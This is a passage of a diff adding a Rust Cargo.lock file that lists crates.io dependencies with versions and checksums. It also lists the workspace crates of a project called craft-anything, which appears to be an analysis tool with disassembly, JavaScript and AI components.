"registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fe9a94394896352cc4660ca2288bd4ef883d83238853c038b44070c8f134313" +dependencies = [ + "accesskit", + "accesskit_macos", + "accesskit_unix", + "accesskit_windows", + "raw-window-handle", + "winit", +] + +[[package]] +name = "addr2line" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59317f77929f0e679d39364702289274de2f0f0b22cbf50b2b8cff2169a0b27a" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures 0.2.17", +] + +[[package]] +name = "ahash" +version = "0.8.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" +dependencies = [ + "cfg-if", + "getrandom 0.3.4", + "once_cell", + "serde", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "android-activity" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2a1bb052857d5dd49572219344a7332b31b76405648eabac5bc68978251bcd" +dependencies = [ + "android-properties", + "bitflags 2.13.2", + "cc", + "jni", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "num_enum", + "thiserror 2.0.21", +] + +[[package]] +name = "android-properties" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7eb209b1518d6bb87b283c20095f5228ecda460da70b44f0802523dea6da04" + +[[package]] +name = "android_system_properties" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae221649c9976a6f6c56ae1facf410f3ddb33cc661c4b7b61020a912d4237fbc" +dependencies = [ + "libc", +] + +[[package]] +name = "annotate-snippets" +version = "0.11.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "710e8eae58854cdc1790fcb56cca04d712a17be849eeb81da2a724bf4bae2bc4" +dependencies = [ + "anstyle", + "unicode-width", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" + +[[package]] +name = "arbitrary" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bc62ac97cc33321f50863d514c3bc38a453947a8f9e781137e47c7401020aed" + +[[package]] +name = "arboard" +version = "3.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0348a1c054491f4bfe6ab86a7b6ab1e44e45d899005de92f58b3df180b36ddaf" +dependencies = [ + "clipboard-win", + "image", + "log", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-foundation 0.3.2", + "parking_lot", + "percent-encoding", + "windows-sys 0.60.2", + "x11rb", +] + +[[package]] +name = "arraydeque" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d902e3d592a523def97af8f317b08ce16b7ab854c1985a0c671e6f15cebc236" + +[[package]] +name = "arrayref" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76a2e8124351fda1ef8aaaa3bbd7ebbcb486bbcd4225aca0aa0d84bb2db8fecb" + +[[package]] +name = "arrayvec" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3fb67a6e08acf24fdeccbac2cb6ac4305825bd1f117462e0e6f2f193345ad56" + +[[package]] +name = "as-raw-xcb-connection" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175571dd1d178ced59193a6fc02dde1b972eb0bc56c892cde9beeceac5bf0f6b" + +[[package]] +name = "ash" +version = "0.38.0+1.3.281" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bb44936d800fea8f016d7f2311c6a4f97aebd5dc86f09906139ec848cf3a46f" +dependencies = [ + "libloading", +] + +[[package]] +name = "async-broadcast" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "435a87a52755b8f27fcf321ac4f04b2802e337c8c4872923137471ec39c37532" +dependencies = [ + "event-listener", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c96bf972d85afc50bf5ab8fe2d54d1586b4e0b46c97c50a0c9e71e2f7bcd812a" +dependencies = [ + "async-task", + "concurrent-queue", + "fastrand", + "futures-lite", + "pin-project-lite", + "slab", +] + +[[package]] +name = "async-fs" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8034a681df4aed8b8edbd7fbe472401ecf009251c8b40556b304567052e294c5" +dependencies = [ + "async-lock", + "blocking", + "futures-lite", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix 1.1.5", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener", + "futures-lite", + "rustix 1.1.5", +] + +[[package]] +name = "async-recursion" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f8abc12baad266b1c8cec146854c195b5864b4221d4b2ca7296a7ae82d9e451" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "async-signal" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 1.1.5", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.92" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82f6aeea286b8eb4dd3431a1be1b59d290ace00f5bfd8e2a159bc2a05e2c1667" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "atspi" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c77886257be21c9cd89a4ae7e64860c6f0eefca799bb79127913052bd0eefb3d" +dependencies = [ + "atspi-common", + "atspi-proxies", +] + +[[package]] +name = "atspi-common" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20c5617155740c98003016429ad13fe43ce7a77b007479350a9f8bf95a29f63d" +dependencies = [ + "enumflags2", + "serde", + "static_assertions", + "zbus 5.19.0", + "zbus-lockstep", + "zbus-lockstep-macros", + "zbus_names 4.3.4", + "zvariant 5.15.0", +] + +[[package]] +name = "atspi-proxies" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2230e48787ed3eb4088996eab66a32ca20c0b67bbd4fd6cdfe79f04f1f04c9fc" +dependencies = [ + "atspi-common", + "serde", + "zbus 5.19.0", +] + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base16ct" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + +[[package]] +name = "base64-simd" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "339abbe78e73178762e23bea9dfd08e697eb3f3301cd4be981c0f78ba5859195" +dependencies = [ + "outref", + "vsimd", +] + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bindgen" +version = "0.72.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" +dependencies = [ + "annotate-snippets", + "bitflags 2.13.2", + "cexpr", + "clang-sys", + "itertools 0.13.0", + "proc-macro2", + "quote", + "regex", + "rustc-hash 2.1.3", + "shlex 1.3.0", + "syn 2.0.119", +] + +[[package]] +name = "bit-set" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2f926cc3060f09db9ebc5b52823d85268d24bb917e472c0c4bea35780a7d" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71798fca2c1fe1086445a7258a4bc81e6e49dcd24c8d0dd9a1e57395b603f51" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" +dependencies = [ + "serde_core", +] + +[[package]] +name = "bitvec" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddcec3d12c579d40898fe0a9a358a803c23e9c52ca3c425707f81c9436211837" +dependencies = [ + "funty", + "radium", + "tap", + "wyz", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block2" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c132eebf10f5cad5289222520a4a058514204aed6d791f1cf4fe8088b82d15f" +dependencies = [ + "objc2 0.5.3", +] + +[[package]] +name = "block2" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5" +dependencies = [ + "objc2 0.6.5", +] + +[[package]] +name = "blocking" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a70e4329df6cb94385eed412ec92375c3cdd8a6e502493d1229b6414e4036dfa" +dependencies = [ + "async-channel", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" +dependencies = [ + "allocator-api2", +] + +[[package]] +name = "bytecount" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175812e0be2bccb6abe50bb8d566126198344f707e304f45c648fd8f2cc0365e" + +[[package]] +name = "bytemuck" +version = "1.25.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95832e849adfb21180ccb6826a99da14e5d266ae5c2e668e1602cf234f153797" +dependencies = [ + "bytemuck_derive", +] + +[[package]] +name = "bytemuck_derive" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a1f896587b6f2c069c73d2f0913e2d590c3990285cd2f0b6aa02b786b4c679c" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "byteorder-lite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f1fe948ff07f4bd06c30984e69f5b4899c516a3ef74f34df92a2df2ab535495" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "bzip2-rs" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "beeb59e7e4c811ab37cc73680c798c7a5da77fc9989c62b09138e31ee740f735" +dependencies = [ + "crc32fast", + "tinyvec", +] + +[[package]] +name = "calloop" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b99da2f8558ca23c71f4fd15dc57c906239752dd27ff3c00a1d56b685b7cbfec" +dependencies = [ + "bitflags 2.13.2", + "log", + "polling", + "rustix 0.38.44", + "slab", + "thiserror 1.0.69", +] + +[[package]] +name = "calloop" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43b32313e937c8721c9d17ee9bf60699a6402b4b7c2cb6ac1bee0ffcaa4b4e5e" +dependencies = [ + "bitflags 2.13.2", + "polling", + "rustix 1.1.5", + "tracing", +] + +[[package]] +name = "calloop-wayland-source" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95a66a987056935f7efce4ab5668920b5d0dac4a7c99991a67395f13702ddd20" +dependencies = [ + "calloop 0.13.0", + "rustix 0.38.44", + "wayland-backend", + "wayland-client", +] + +[[package]] +name = "calloop-wayland-source" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "138efcf0940a02ebf0cc8d1eff41a1682a46b431630f4c52450d6265876021fa" +dependencies = [ + "calloop 0.14.5", + "rustix 1.1.5", + "wayland-backend", + "wayland-client", +] + +[[package]] +name = "castaway" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dec551ab6e7578819132c713a93c022a05d60159dc86e7a7050223577484c55a" +dependencies = [ + "rustversion", +] + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6651c9ed80effdc7db0ff72512157f901af5e3549e341e24b1dd4887d836d838" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex 2.0.1", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom 7.1.3", +] + +[[package]] +name = "cfg-expr" +version = "0.20.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ba9e9ec16c447027685b1f897b720e18e9a8afd00bd7332c483537e38086c9f" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "cgl" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ced0551234e87afee12411d535648dd89d2e7f34c78b753395567aff3d447ff" +dependencies = [ + "libc", +] + +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "rand_core 0.10.1", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clang-sys" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "157a8ba7b480713b56f4c09fd13fc3e0a22a5dfab8097ba61cbc5feef950788a" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa8876b300ab35ba921adea3dfd70157a46249b33f95c9084ae5709785478946" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0797fb7aeb1406c84efac526901f7ec3ead2124f946b494e72879d4b54704d" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9c751b79415d4e559e3d1fcf128e09e720eb673a06d26cf6f392d37d75b66e0" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "clap_lex" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c133bc6a41be0d194c306b5506d15e6feeea7b1d6604bd3f8310dfb2ca96486" + +[[package]] +name = "clipboard-win" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bde03770d3df201d4fb868f2c9c59e66a3e4e2bd06692a0fe701e7103c7e84d4" +dependencies = [ + "error-code", +] + +[[package]] +name = "cobs" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fa961b519f0b462e3a3b4a34b64d119eeaca1d59af726fe450bbba07a9fc0a1" +dependencies = [ + "thiserror 2.0.21", +] + +[[package]] +name = "codespan-reporting" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af491d569909a7e4dee0ad7db7f5341fef5c614d5b8ec8cf765732aba3cff681" +dependencies = [ + "serde", + "termcolor", + "unicode-width", +] + +[[package]] +name = "color" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ec7c5eb7a16992b1904d76c517d170ab353b0e0b3d5a0c81a8a0cd1037893cf" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "colored" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" +dependencies = [ + "lazy_static", + "windows-sys 0.59.0", +] + +[[package]] +name = "combine" +version = "4.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfc320937d09e6de266b31b9afb480f197d7a861be86be7cb2ea7e5d1bfffc5e" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "compact_str" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79fcda08c33bb58b97008b2cdada6622500e949e060f5913361763121abd2416" +dependencies = [ + "castaway", + "cfg-if", + "itoa", + "static_assertions", + "zmij", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core-graphics" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c07782be35f9e1140080c6b96f0d44b739e2278479f64e02fdab4e32dfd8b081" +dependencies = [ + "bitflags 1.3.2", + "core-foundation 0.9.4", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" +dependencies = [ + "bitflags 1.3.2", + "core-foundation 0.9.4", + "libc", +] + +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + +[[package]] +name = "cow-utils" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "417bef24afe1460300965a25ff4a24b8b45ad011948302ec221e8a0a81eb2c79" + +[[package]] +name = "cpp_demangle" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0667304c32ea56cb4cd6d2d7c0cfe9a2f8041229db8c033af7f8d69492429def" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + +[[package]] +name = "craft-anything" +version = "0.3.0" +dependencies = [ + "craft-anything-ai", + "craft-anything-engine", + "craft-anything-platform", + "craft-anything-setup", + "craft-anything-ui-egui", + "eframe", + "log", + "rfd", + "serde_json", + "winresource", +] + +[[package]] +name = "craft-anything-ai" +version = "0.3.0" +dependencies = [ + "craft-anything-engine", + "craft-anything-engines", + "craft-anything-evidence", + "craft-anything-formats", + "craft-anything-platform", + "craft-anything-testkit", + "dirs", + "keyring", + "log", + "schemars", + "serde", + "serde_json", + "tempfile", + "toml 0.9.12+spec-1.1.0", + "ureq", +] + +[[package]] +name = "craft-anything-analysis" +version = "0.3.0" +dependencies = [ + "craft-anything-disasm", + "craft-anything-evidence", + "craft-anything-formats", + "craft-anything-js", + "craft-anything-testkit", + "serde", + "serde_json", +] + +[[package]] +name = "craft-anything-cli" +version = "0.3.0" +dependencies = [ + "clap", + "craft-anything-ai", + "craft-anything-engine", + "craft-anything-engines", + "craft-anything-evidence", + "craft-anything-mcp", + "craft-anything-platform", + "craft-anything-setup", + "ctrlc", + "log", + "serde", + "serde_json", + "tempfile", + "winresource", +] + +[[package]] +name = "craft-anything-disasm" +version = "0.3.0" +dependencies = [ + "craft-anything-formats", + "craft-anything-testkit", + "iced-x86", + "serde", + "serde_json", + "thiserror 2.0.21", + "yaxpeax-arch", + "yaxpeax-arm", +] + +[[package]] +name = "craft-anything-engine" +version = "0.3.0" +dependencies = [ + "base64 0.22.1", + "bitflags 2.13.2", + "craft-anything-analysis", + "craft-anything-disasm", + "craft-anything-engines", + "craft-anything-evidence", + "craft-anything-formats", + "craft-anything-js", + "craft-anything-platform", + "craft-anything-testkit", + "dirs", + "hex", + "image", + "log", + "png 0.17.16", + "regex", + "schemars", + "serde", + "serde_json", + "sha1", + "sha2", + "tempfile", + "thiserror 2.0.21", + "toml 0.9.12+spec-1.1.0", +] + +[[package]] +name = "craft-anything-engines" +version = "0.3.0" +dependencies = [ + "base64 0.22.1", + "craft-anything-evidence", + "craft-anything-formats", + "craft-anything-platform", + "craft-anything-testkit", + "hex", + "log", + "serde", + "serde_json", + "sha1", + "sha2", + "tempfile", + "thiserror 2.0.21", + "toml 0.9.12+spec-1.1.0", + "ureq", + "wasmtime", +] + +[[package]] +name = "craft-anything-evidence" +version = "0.3.0" +dependencies = [ + "hex", + "serde", + "serde_json", + "sha2", + "thiserror 2.0.21", +] + +[[package]] +name = "craft-anything-formats" +version = "0.3.0" +dependencies = [ + "bzip2-rs", + "craft-anything-testkit", + "lzma-rs", + "miniz_oxide 0.8.9", + "object 0.36.7", + "p256", + "p384", + "rsa", + "rustc-demangle", + "ruzstd", + "serde", + "serde_json", + "sha1", + "sha2", + "thiserror 2.0.21", + "wasmparser 0.261.0", + "wasmprinter 0.261.0", +] + +[[package]] +name = "craft-anything-js" +version = "0.3.0" +dependencies = [ + "craft-anything-testkit", + "hex", + "oxc_allocator", + "oxc_ast", + "oxc_ast_visit", + "oxc_codegen", + "oxc_parser", + "oxc_semantic", + "oxc_span", + "oxc_syntax", + "serde", + "serde_json", + "sha2", + "thiserror 2.0.21", +] + +[[package]] +name = "craft-anything-mcp" +version = "0.3.0" 